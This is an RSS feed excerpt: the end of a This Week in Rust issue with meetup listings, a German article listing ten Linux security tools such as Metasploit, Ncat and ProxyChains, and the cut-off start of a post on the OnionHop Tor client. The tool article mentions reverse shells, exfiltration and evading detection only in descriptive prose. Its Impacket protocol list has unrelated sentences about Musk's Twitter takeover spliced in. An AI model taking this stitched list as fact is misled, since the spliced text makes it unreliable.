<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 Linux-Pflicht-Tools für Netzwerk- und Security-Profis]]></title>
<description><![CDATA[Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. 
					Foto: Omelchenko – shutterstock.com




Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur Verfügung stehen, ist nicht einfach. So dürfte es auch vielen Netzwerk- und Security-Experten gehen, di...]]></description>
<link>https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687932/it-security-nachrichten/10-linux-pflicht-tools-fuer-netzwerk-und-security-profis/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. " title="Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. " src="https://images.computerwoche.de/bdb/3340356/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Wir haben zehn essenzielle Open-Source-Security-Tools für Sie zusammengestellt. </p></figcaption></figure><p class="imageCredit">
					Foto: Omelchenko – shutterstock.com</p></div>




<p class="wp-block-paragraph">Eine Wahl zu treffen, wenn Dutzende oder gar Hunderte von Tools zur Verfügung stehen, ist nicht einfach. So dürfte es auch vielen Netzwerk- und <a href="https://www.csoonline.com/de/" title="Security-Experten" target="_blank">Security-Experten</a> gehen, die quelloffene Security Tools für <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> suchen.</p>



<p class="wp-block-paragraph">In diesem Bereich gibt es eine Vielzahl verschiedener Tools für so gut wie jede Aufgabe (Netzwerk-Tunneling, Sniffing, Scanning, Mapping) und jede Umgebung (Wi-Fi-Netzwerke, Webanwendungen, Datenbankserver). Wir haben einige Experten konsultiert und zehn essenzielle <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Sicherheitstools für Sie zusammengestellt.</p>



<h2 class="wp-block-heading">1. <a href="https://www.aircrack-ng.org/" target="_blank" rel="noreferrer noopener">Aircrack-ng</a></h2>



<p class="wp-block-paragraph">Diese Suite von Software Tools ermöglicht es, drahtlose Netzwerke und WiFi-Protokolle Sicherheitsüberprüfungen zu unterziehen. Sicherheitsprofis verwenden das Tool für die Netzwerkadministration, Hacking und Penetrationstests. Dabei fokussiert Aircrack-ng auf:</p>



<ul class="wp-block-list">
<li><p>Monitoring (Datenpakete erfassen und Daten in Textdateien zur Weiterverarbeitung durch Tools von Drittanbietern exportieren)</p></li>



<li><p>Angreifen (Replay-Angriffe, Deauthentication, Packet Injection)</p></li>



<li><p>Testing (WiFi-Karten und Treiberfunktionen überprüfen) und</p></li>



<li><p>Cracking (WEP und WPA PSK)</p></li>
</ul>



<p class="wp-block-paragraph">Laut der <a href="https://www.aircrack-ng.org/" title="offiziellen Webseite" target="_blank" rel="noopener">offiziellen Webseite</a> funktionieren alle Tools kommandozeilenbasiert, was eine umfangreiche Skripterstellung ermöglicht. Das Tool funktioniert mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> genauso wie mit <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, macOS, FreeBSD, OpenBSD, NetBSD, Solaris und sogar eComStation.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">2. <a href="https://portswigger.net/burp/pro" target="_blank" rel="noreferrer noopener">Burp Suite</a></h2>



<p class="wp-block-paragraph">Hierbei handelt es sich um eine Testing-Suite für Webanwendungen, die für Security Assessments von Websites eingesetzt wird. Burp Suite arbeitet als lokale Proxy-Lösung, die es Sicherheitsexperten ermöglicht, Anfragen (HTTP/Websockets) und Antworten zwischen einem Webserver und einem Browser</p>



<ul class="wp-block-list">
<li><p>entschlüsseln,</p></li>



<li><p>beobachten,</p></li>



<li><p>manipulieren und</p></li>



<li><p>wiederholen zu können.</p></li>
</ul>



<p class="wp-block-paragraph">Burp Suite hat einen passiven Scanner an Bord, mit dem Security-Profis Webseiten (manuell) auf potenzielle Schwachstellen überprüfen können. Die Pro-Version bietet außerdem einen sehr nützlichen aktiven Web-Schwachstellen-Scanner, mit dem sich weitere Schwachstellen aufspüren lassen. Burp Suite ist über Plugins erweiterbar, so dass Sicherheitsexperten ihre eigenen Erweiterungen entwickeln können.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> Die Professional-Version kostet 475 Euro pro Jahr und Benutzer. Darüber hinaus steht auch eine Enterprise-Version (ab ca. 2.000 Euro jährlich) zur Verfügung, die mehrere gleichzeitige Scans ermöglicht und von Anwendungsentwicklungsteams genutzt werden kann.</p>



<h2 class="wp-block-heading">3. <a href="https://github.com/fortra/impacket" target="_blank" rel="noreferrer noopener">Impacket</a></h2>



<p class="wp-block-paragraph">Diese Sammlung von Tools ist für Pen-Tests von Netzwerkprotokollen und -diensten unerlässlich. Impacket wurde von SecureAuth entwickelt und ist eine Sammlung von Python Classes, um mit Netzwerkprotokollen zu arbeiten. Impacket konzentriert sich auf die Bereitstellung von Low-Level-Zugriff auf Pakete und bei einigen Protokollen wie SMB1-3 und MSRPC auf die Protokollimplementierung selbst. Sicherheitsexperten können Pakete von Grund auf neu konstruieren, aber auch auf Grundlage geparster Rohdaten. Die objektorientierte <a title="API" href="https://www.computerwoche.de/article/2790525/was-sie-ueber-application-programming-interfaces-wissen-muessen.html" target="_blank">API</a> macht es zudem einfach, mit tiefen Protokollhierarchien zu arbeiten. Impacket unterstützt die folgenden Protokolle:</p>



<ul class="wp-block-list">
<li><p>Ethernet, Linux;</p></li>



<li><p>IP, TCP, UDP, ICMP, IGMP, ARP;</p></li>



<li><p>IPv4 und IPv6;</p></li>



<li><p>Umgänglicher zeigte sich Musk gegenüber den Anzeigenkunden von Twitter. In einem – natürlich auf Twitter geposteten – Brief erklärte der Tesla-Chef, der Grund für die Übernahme sei nicht, damit noch mehr Geld zu verdienen. Vielmehr sei es “wichtig für den Fortbestand der Zivilisation, einen gemeinsamen digitalen Treffpunkt zu haben, auf dem eine breite Palette von Überzeugungen auf gesunde Weise diskutiert werden kann.” </p></li>



<li><p>Trotz alledem dürfe Twitter nicht zu einer “für alle Nutzer freien Höllenlandschaft werden, in der alles ohne Konsequenzen gesagt werden kann”, fügte Musk hinzu. Zusätzlich zur Einhaltung der Gesetze müsse die Plattform “warmherzig und einladend” für alle sein und den Nutzern die Möglichkeit bieten, “die gewünschte Erfahrung nach ihren Vorlieben zu wählen” – ähnlich wie man zum Beispiel wählen kann, Filme zu sehen oder Videospiele zu spielen, die für alle Altersgruppen geeignet sind.</p></li>



<li><p>Plain-, NTLM- und Kerberos-Authentifizierungen, unter Verwendung von Kennwörtern/Hashes/Tickets/Schlüsseln;</p></li>



<li><p>EU-Kommissar Thierry Breton wiederum reagierte auf Musks Teet, dass der Vogel jetzt frei sein, mit der Anmerkung, “dass Twitter in Europa nach unseren Regeln fliegen muss”.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Preis:</strong> Kostenlos – Impacket wird unter einer leicht modifizierten Version der Apache Software License bereitgestellt. Die Unterschiede können Sie <a href="https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_24/LICENSE" title="hier einsehen" target="_blank" rel="noopener">hier einsehen</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://www.metasploit.com/" target="_blank" rel="noreferrer noopener">Metasploit</a></h2>



<p class="wp-block-paragraph">Metasploit ist ein Exploit-Framework von Rapid7, das für allgemeine Penetrationstests und Schwachstellenbewertungen verwendet wird. Sicherheitsexperten betrachten es als “Super-Tool”, das funktionierende Versionen fast aller bekannter Exploits enthält. Metasploit ermöglicht Sicherheitsexperten, Netzwerke und Endpunkte auf Schwachstellen zu scannen und anschließend automatisiert mögliche Exploits auszuführen, um Systeme zu übernehmen.</p>



<p class="wp-block-paragraph">Metasploit erleichtert es mit protokollspezifischen Modulen (die alle unter der Funktion Auxiliary/Server/Capture laufen) Anmeldeinformationen zu erfassen. Sicherheitsexperten können jedes dieser Module einzeln starten und konfigurieren – zudem steht ein Capture-Plug-in zur Verfügung, das diesen Prozess vereinheitlicht.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> Metasploit Pro kostet – inklusive kommerziellem Support durch Rapid7 – ab 12.000 Dollar pro Jahr. Es gibt aber auch eine kostenlose Version.</p>



<h2 class="wp-block-heading">5. <a href="https://nmap.org/ncat/" target="_blank" rel="noreferrer noopener">Ncat</a></h2>



<p class="wp-block-paragraph">Der Nachfolger des beliebten Tools Netcat heißt Ncat und kommt von den Machern von Nmap. Das Tool ermöglicht es, Daten per Kommandozeile über ein Netzwerk zu lesen und zu schreiben, bietet aber auch zusätzlich Funktionen wie SSL-Verschlüsselung. Sicherheitsexperten zufolge ist Ncat unerlässlich geworden, um TCP/UDP-Clients und -Server zu hosten und Daten von Angreifer- und Opfersystemen zu empfangen.</p>



<p class="wp-block-paragraph">Ncat ist auch ein beliebtes Tool, um eine Reverse Shell einzurichten oder Daten zu exfiltrieren. Es wurde als zuverlässiges Back-End-Tool entwickelt, um Netzwerkverbindungen zu anderen Anwendungen und Benutzern herzustellen.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">6. <a href="https://nmap.org/" target="_blank" rel="noreferrer noopener">Nmap</a></h2>



<p class="wp-block-paragraph">Dieses Netzwerk-Scanning- und Mapping-Tool auf Kommandozeilen-Basis findet zugängliche Ports auf Remote Devices. Viele Sicherheitsexperten halten Nmap für eines der wichtigsten und effektivsten Tools – insbesondere im Bereich Penetration Testing ist es unerlässlich.</p>



<p class="wp-block-paragraph">Die Skripting-Engine von Nmap erkennt anschließend automatisiert weitere Schwachstellen und nutzt diese aus. Nmap unterstützt Dutzende fortschrittlicher Techniken, um Netzwerke mit IP-Filtern, Firewalls, Routern und anderen Hindernissen abzubilden. Dazu gehören auch zahlreiche Mechanismen, um TCP- und UDP-Ports zu scannen, Betriebssysteme und Versionen sowie Ping-Sweeps zu erkennen.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">7. <a href="https://github.com/haad/proxychains" target="_blank" rel="noreferrer noopener">ProxyChains</a></h2>



<p class="wp-block-paragraph">Dieses Werkzeug – der De-facto-Standard für Netzwerk-Tunneling – ermöglicht es Sicherheitsexperten, Proxy-Befehle von ihrem angreifenden <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Rechner aus über verschiedene kompromittierte Rechner zu senden, um Netzwerkgrenzen und Firewalls zu überwinden und dabei einer Entdeckung zu entgehen.</p>



<p class="wp-block-paragraph">ProxyChains leitet den TCP-Verkehr von Penetrationstestern durch die folgenden Proxys: TOR, SOCKS und HTTP. ProxyChains ist mit TCP-Aufklärungs-Tools wie NMAP kompatibel und verwendet standardmäßig das TOR-Netzwerk. Sicherheitsexperten verwenden ProxyChains auch bei der IDS/IPS-Erkennung.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">8. <a href="https://github.com/SpiderLabs/Responder" target="_blank" rel="noreferrer noopener">Responder</a></h2>



<p class="wp-block-paragraph">Responder ist ein NBT-NS (NetBIOS Name Service), LLMNR (Link-Local Multicast Name Resolution) und mDNS (Multicast DNS) Poisoner. Penetration Tester nutzen das Tool, um Angriffe zu simulieren, die darauf abzielen, Anmeldeinformationen und andere Daten während des Prozesses der Namensauflösung zu stehlen, wenn der DNS-Server keinen Eintrag findet. Ab Version 3.1.1.0 bietet Responder standardmäßig vollen IPv6-Support.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">9. <a href="https://sqlmap.org/" target="_blank" rel="noreferrer noopener">sqlmap</a></h2>



<p class="wp-block-paragraph">Das <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Open-Source</a>-Tool sqlmap richtet sich ebenfalls an Penetrationstester und automatisiert den Prozess, SQL-Injection-Fehler zu erkennen, mit deren Hilfe Datenbankserver kompromittiert werden könnten. Das Tool verfügt über eine leistungsstarke Erkennungs-Engine und bietet zahlreiche Funktionen, darunter Datenbank-Fingerprinting und die Ausführung von Befehlen auf Betriebssystemebene über Out-of-Band-Verbindungen.</p>



<p class="wp-block-paragraph">Sqlmap unterstützt eine breite Palette von Datenbankservern, darunter:</p>



<ul class="wp-block-list">
<li><p>MySQL,</p></li>



<li><p>Oracle,</p></li>



<li><p>PostgreSQL,</p></li>



<li><p>Microsoft SQL Server,</p></li>



<li><p>Microsoft Access,</p></li>



<li><p>IBM DB2,</p></li>



<li><p>SQLite,</p></li>



<li><p>Firebird,</p></li>



<li><p>Sybase,</p></li>



<li><p>SAP MaxDB und</p></li>



<li><p>HSQLDB.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos</p>



<h2 class="wp-block-heading">10. <a href="https://www.wireshark.org/" target="_blank" rel="noreferrer noopener">Wireshark</a></h2>



<p class="wp-block-paragraph">Das Netzwerkprotokoll-Analyse-Tool Wireshark wird auch oft als Network Interface Sniffer bezeichnet. Mit Wireshark können Sicherheitsexperten das Netzwerkverhalten eines Geräts beobachten, um zu sehen, mit welchen anderen Geräten es kommuniziert und warum.</p>



<p class="wp-block-paragraph">Sicherheitsexperten zufolge eignet sich Wireshark hervorragend, um herauszufinden, wo sich DNS-Server und andere Dienste befinden, mit denen sich ein Netzwerk weiter kompromittieren lässt. Wireshark läuft nicht nur unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, sondern funktioniert mit den allen gängigen Betriebssystemen, einschließlich <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>, MacOs und Unix.</p>



<p class="wp-block-paragraph"><strong>Preis:</strong> kostenlos </p>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.networkworld.com/article/970926/10-essential-linux-security-tools-for-network-professionals-and-security-practitioners.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Networkworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Digitale Selbstbestimmung: OnionHop leitet euren gesamten Datenverkehr durch das Tor-Netzwerk (Linux/Win/Mac)]]></title>
<description><![CDATA[OnionHop – Überblick OnionHop — route your traffic through Tor, with clear controls ist ein moderner plattformübergreifender Desktop-Client (für Windows, Linux und macOS) mit starkem Fokus auf Privatsphäre. Er ermöglicht es Nutzern, ihren Datenverkehr über das Tor-Netzwerk zu leiten. Es handelt s...]]></description>
<link>https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687868/it-security-nachrichten/digitale-selbstbestimmung-onionhop-leitet-euren-gesamten-datenverkehr-durch-das-tor-netzwerk-linuxwinmac/</guid>
<pubDate>Thu, 23 Jul 2026 04:14:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>OnionHop – Überblick</h1> <p><a href="https://www.onionhop.de/">OnionHop — route your traffic through Tor, with clear controls</a> ist ein moderner plattformübergreifender Desktop-Client (für Windows, Linux und macOS) mit starkem Fokus auf Privatsphäre. Er ermöglicht es Nutzern, ihren Datenverkehr über das Tor-Netzwerk zu leiten. Es handelt sich um ein unabhängiges Open-Source-Projekt, das nicht offiziell mit dem <a href="https://www.torproject.org/">Tor Project | Anonymity Online</a> verbunden ist. Die OnionHop Oberfläche bietet 8 Sprachen (Englisch, Deutsch, Französisch, Chinesisch, Russisch, Persisch, Aserbaidschanisch und Sorani Kurdisch).</p> <p>Melden Sie sich freiwillig als Snowflake-Proxy helfen Sie zensierten Benutzern, Tor direkt von den Einstellungen aus zu erreichen (siehe Einstellungen).</p> <h1>Hauptfunktionen</h1> <ul> <li><strong>Proxy-Modus:</strong> Leitet den Datenverkehr ressourcenschonend über einen lokalen SOCKS-Proxy um, ohne dass Administratorrechte benötigt werden. Ein Knopfdruck auf "System Proxy: On" und alle gängigen Browser benutzen das Tor Netzwerk.</li> <li><strong>TUN-Modus (eigene virutelle Netzwerkkarte):</strong> Leitet den Datenverkehr des gesamten Systems (alle Apps) mit einem Klick über das Tor-Netzwerk um.</li> <li><strong>Split-Tunneling:</strong> Ermöglicht die individuelle Auswahl, welche Apps über Tor laufen und welche direkte Verbindungen nutzen.</li> <li><strong>Kill-Switch:</strong> Blockiert den ausgehenden Datenverkehr sofort, wenn die Tor-Verbindung abbricht, um ungeschützte Datenlecks zu verhindern.</li> <li><strong>DNS-Steuerung:</strong> Erzwingt DNS-Anfragen über Tor und verhindert Lecks zum Internetanbieter (inklusive QUIC/UDP-Leckschutz).</li> <li><strong>Länder- &amp; Seiten-Routing:</strong> Erlaubt direkte Verbindungen für bestimmte Länder oder das Blockieren von Domains basierend auf automatisch aktualisierten Listen.</li> <li><strong>CLI-Client:</strong> Bietet eine Kommandozeilenversion ohne grafische Oberfläche, ideal für Server und Automatisierungen. Zensurumgehung und Netzwerktechnologien</li> <li><strong>Smart Connect:</strong> Wählt automatisch die optimale Engine, Route und Bridge für das aktuelle Netzwerk.</li> <li><strong>Integrierter Bridge-Scanner:</strong> Sucht und testet automatisch funktionierende Brücken (Bridges) in restriktiven Netzwerken, sodass keine manuelle Eingabe erforderlich ist.</li> <li><strong>Pluggable Transports:</strong> Unterstützt Protokolle wie obfs4, snowflake, webtunnel, conjure, meek, dnstt und vanilla, um Netzwerkblockaden zu umgehen.</li> <li><strong>Tor-Engines:</strong> Nutzt Classic (tor), Arti (<a href="https://gitlab.torproject.org/tpo/core/arti/-/blob/main/CHANGELOG.md"><em>A Rust Tor Implementation</em></a> <em>(Gitlab Changelog) oder</em> <a href="https://arti.torproject.org/"><em>https://arti.torproject.org/</em></a> <em>für die Nerds</em> <a href="https://dspacemainprd01.lib.uwaterloo.ca/server/api/core/bitstreams/538e4dac-759f-4677-a8f6-10cc83482165/content#:~:text=We%20illustrate%20an%20example%20of%20this%20occurrence,our%20proposal%2C%20and%20details%20about%20its%20implementation">Improving Tor using a TCP-over-DTLS Tunnel (PDF, englisch)</a><em>, bald schon mit UDP Unterstützung</em> <a href="https://spec.torproject.org/proposals/348-udp-app-support.html">339 / 348-udp-app-support - Tor design proposals</a> <em>(Tor Architektur), dies ist die Zukunft von Tor, weg von C mit seinen historisch vielen Buffer Overflows ~65% aller Tor Sicherheitslücken, mit RPC-Schnittstelle (Remote Procedure Call / Methodenaufruf auf entfernten Systemen / Software) und UDP für moderne Anwendungen)</em></li> </ul> <p>Da Transparenz bei Software für die informationelle Selbstbestimmung das Wichtigste ist, ist das gesamte Projekt <strong>quelloffen (Open Source)</strong>. Ihr könnt euch den Quellcode jederzeit auf GitHub ansehen, ihn selbst kompilieren oder Code-Überprüfungen (Code Reviews) durchführen:</p> <p>👉 <strong>GitHub-Repository:</strong> <a href="https://github.com/center2055/OnionHop">center2055/OnionHop: Privacy-first Desktop app that routes your traffic through Tor - Anonymous browsing made simple</a></p> <p>Die Software steht für <strong>Linux, Windows und macOS</strong> zur Verfügung (es gibt auch tragbare Versionen, die nicht installiert werden müssen). <strong>Neben</strong> der <strong>grafischen Oberfläche</strong> gibt es für Automatisierungen auch eine <strong>reine Kommandozeilen-Version (CLI)</strong>.</p> <h1>Systemweite Socks5 Proxy vs. TUN VPN-Technik Modus mit eigener virtuellen Netzwerkkarte (TUN)</h1> <p>Um zu verstehen, warum der TUN oft sicherer ist, hilft ein direkter Vergleich:</p> <table><thead> <tr> <th align="left"><strong>Eigenschaft</strong></th> <th align="left"><strong>Systemweiter Vermittlungsserver (System SOCKS5</strong> <strong>Proxy)</strong></th> <th align="left"><strong>TUN "Netzwerktunnel"(OSI Layer 3</strong>) <strong>"virtuellen Netzwerkadapter" nicht TAP wie bei VPN Layer 2</strong></th> </tr> </thead><tbody> <tr> <td align="left"><strong>Arbeitsweise</strong></td> <td align="left">Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen.</td> <td align="left">Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter.</td> </tr> <tr> <td align="left"><strong>Zuverlässigkeit</strong></td> <td align="left">Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet.</td> <td align="left">Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist.</td> </tr> <tr> <td align="left"><strong>Schutz vor Datenlecks</strong></td> <td align="left">Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks).</td> <td align="left">Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann. Eigenschaft Systemweiter Vermittlungsserver (SOCK5 Proxy) TUN-ModusArbeitsweise Setzt darauf, dass Programme die Regeln des Betriebssystems respektieren und die Poststelle nutzen. Zwingt den gesamten Netzwerkverkehr auf tiefer Ebene durch einen Trichter. Zuverlässigkeit Manche Programme (z. B. bestimmte Spiele oder Hintergrunddienste) ignorieren diese Einstellungen und funken direkt ins Internet. Fängt alles ab, völlig unabhängig davon, wie das einzelne Programm programmiert ist. Schutz vor Datenlecks Es kann vorkommen, dass Informationen (wie Adressanfragen) ungeschützt nach außen dringen (Datenlecks). Bietet einen sehr hohen Schutz vor Datenlecks, da kein Datenpaket die Straßensperre umgehen kann.</td> </tr> </tbody></table> <p><strong>Zusammenfassung: Warum es beide 